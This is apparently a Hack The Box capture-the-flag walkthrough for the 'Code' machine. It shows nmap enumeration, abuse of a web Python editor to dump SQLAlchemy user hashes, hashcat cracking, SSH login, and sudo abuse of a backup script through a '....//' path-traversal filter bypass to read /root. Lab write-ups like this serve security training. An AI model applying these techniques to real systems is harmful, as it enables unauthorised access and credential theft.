HTB: Code - Easy

Enumeration

First start off by running a Nmap scan on the host:

nmap -sV -sC -vvv -oN code.nmap 10.129.211.114
[..]
Nmap scan report for 10.129.211.114
Host is up, received conn-refused (0.019s latency).
Scanned at 2025-03-26 09:08:07 CET for 8s
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
|   256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open  http    syn-ack Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

After scanning the ports, we notice that port 5000 is open. We proceed to navigate to this port in our browser:

We are met with a Python IDE in our browser. It does not allow for importing any libraries.

After doing research, I stumbled up-on the following Stackoverflow post: https://stackoverflow.com/questions/4858100/how-to-list-imported-modules - this post elaborates on how to show all the imported modules.

Which is done by adding the codeprint(sys.modules)’:

I sent the obtained text to a AI chatbot, to provide me a summon up of the results, where it tells me the following non default packages are imported:

  1. gunicorn - A Python WSGI HTTP server for running web applications.
  2. werkzeug - A library for WSGI utilities and web development.
  3. flask - A lightweight web framework for Python.
  4. flask_sqlalchemy - SQLAlchemy integration for Flask.
  5. sqlalchemy - A SQL toolkit and Object-Relational Mapping (ORM library).
  6. blinker - A library for creating signals and event handling.
  7. itsdangerous - A library for cryptographic signing.
  8. greenlet - A lightweight coroutine library.
  9. markupsafe - A library for safe handling of strings in HTML and XML.
  10. jinja2 - A templating engine for Python.

Foothold

The most interesting one here is ‘sqlalchemy’ - since this is a database module, which may allow us to read out a database the web application is in connection with.

After trying different approaches, it seemed that ‘db’ is the name it is imported as:

When doing research on how to view tables at https://stackoverflow.com/questions/6473925/sqlalchemy-getting-a-list-of-tables - I was able to read out the tables using db.metadata.tables.keys():

Since the database contains a table for user I would be of suspicion that it would contain a username and password hash.

I found the following stack overflow post containing a possible outcome on how to view its contents: https://stackoverflow.com/questions/6750017/how-to-query-database-by-id-using-sqlalchemy - Reading this, resulted in trying the following syntax with success:

Modifying the code to view the result for each user from 0 to 100:

for i in range(100):
    d = db.session.get(User, i)
    try:
        print(d.username)
    except:
        pass

This resulted in viewing both users:

Since this worked, let’s also try to view the password hash:

for i in range(100):
    d = db.session.get(User, i)
    try:
        print(d.username,":",d.password)
    except:
        pass

Revealing the following hashes:

development : 759b74ce43947f5f4c91aeddc3e5bad3
martin : 3de6f30c4a09c27fc71932bfc68474be

I used hashcat to crack the md5 hashes - this is done with the following command:

hashcat hash.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -m 0
[..]
759b74ce43947f5f4c91aeddc3e5bad3:development  
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster

And now we can SSH into the user ‘Martin’ and obtain our shell access to the machine:

ssh martin@10.129.214.157

Horizontal Privilege Escalation

With access to the machine as martin, we are not directly met with the user.txt.
I ran the following commands to enumerate what our current position is on the mahcine:

martin@code:~$ cd backups/
martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2  task.json
martin@code:~/backups$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

This revealed that the file /usr/bin/backy.sh can be run with sudo privileges.
And when we run this shell script, the result is as following - requiring to input a .json file:

sudo /usr/bin/backy.sh
[..]
Usage: /usr/bin/backy.sh <task.json>

As viewed above, there is a task.json file - which we can modify and run our sudo command on.

I modified the JSON from /home/app-production/app to /home/:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/"
        ],

        "exclude": [
                ".*"
        ]
}

Then I ran the command:

martin@code:~/backups$ sudo /usr/bin/backy.sh task.json
2025/03/26 15:53:48 🍀 backy 1.2
2025/03/26 15:53:48 📋 Working with task.json ...
2025/03/26 15:53:48 💤 Nothing to sync
2025/03/26 15:53:48 📤 Archiving: [/home]
2025/03/26 15:53:48 📥 To: /home/martin/backups ...
2025/03/26 15:53:48 📦

The file is saved to code_home_2025_March.tar.bz2 - which could then be exported using the following tar command:

tar -xjf code_home_2025_March.tar.bz2
[..]
martin@code:~/backups$ ls
code_home_2025_March.tar.bz2  code_home_app-production_app_2024_August.tar.bz2  home  task.json

A folder called home is revealed - where the user flag is obtained:

martin@code:~/backups$ cd home/
martin@code:~/backups/home$ ls
app-production  martin
martin@code:~/backups/home$ cd app-production/
martin@code:~/backups/home/app-production$ ls
app  user.txt
martin@code:~/backups/home/app-production$ cat user.txt
6f4[..]86e

Vertical Privilege Escalation

When reading the backy.sh file, we are met with the following line in the code:

.directories_to_archive |= map(gsub("\.\./"; ""))'

This views that ../ is being stripped from the input. So there already is an indication that we can make use of path traversal.
Changing this to ....// would still make it remove the ../ but leaving it with ../ - which is a common LFI bypass:

I modified the json file, and added /root/ to it. I also removed the exclusion part, which may interfere with our path to viewing the /root directory:

{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/app-production/....//....//root/"
  ]
}

The following JSON file is inputted into the command - and unzipped the file:

sudo /usr/bin/backy.sh task.json
[..]
tar -xvf code_home_app-production_.._.._root_2025_March.tar.bz2

Resulting in obtaining the root flag:

martin@code:~/backups$ cd root/
martin@code:~/backups/root$ ls
root.txt  scripts
martin@code:~/backups/root$ cat root.txt
5eb1[..]29d0e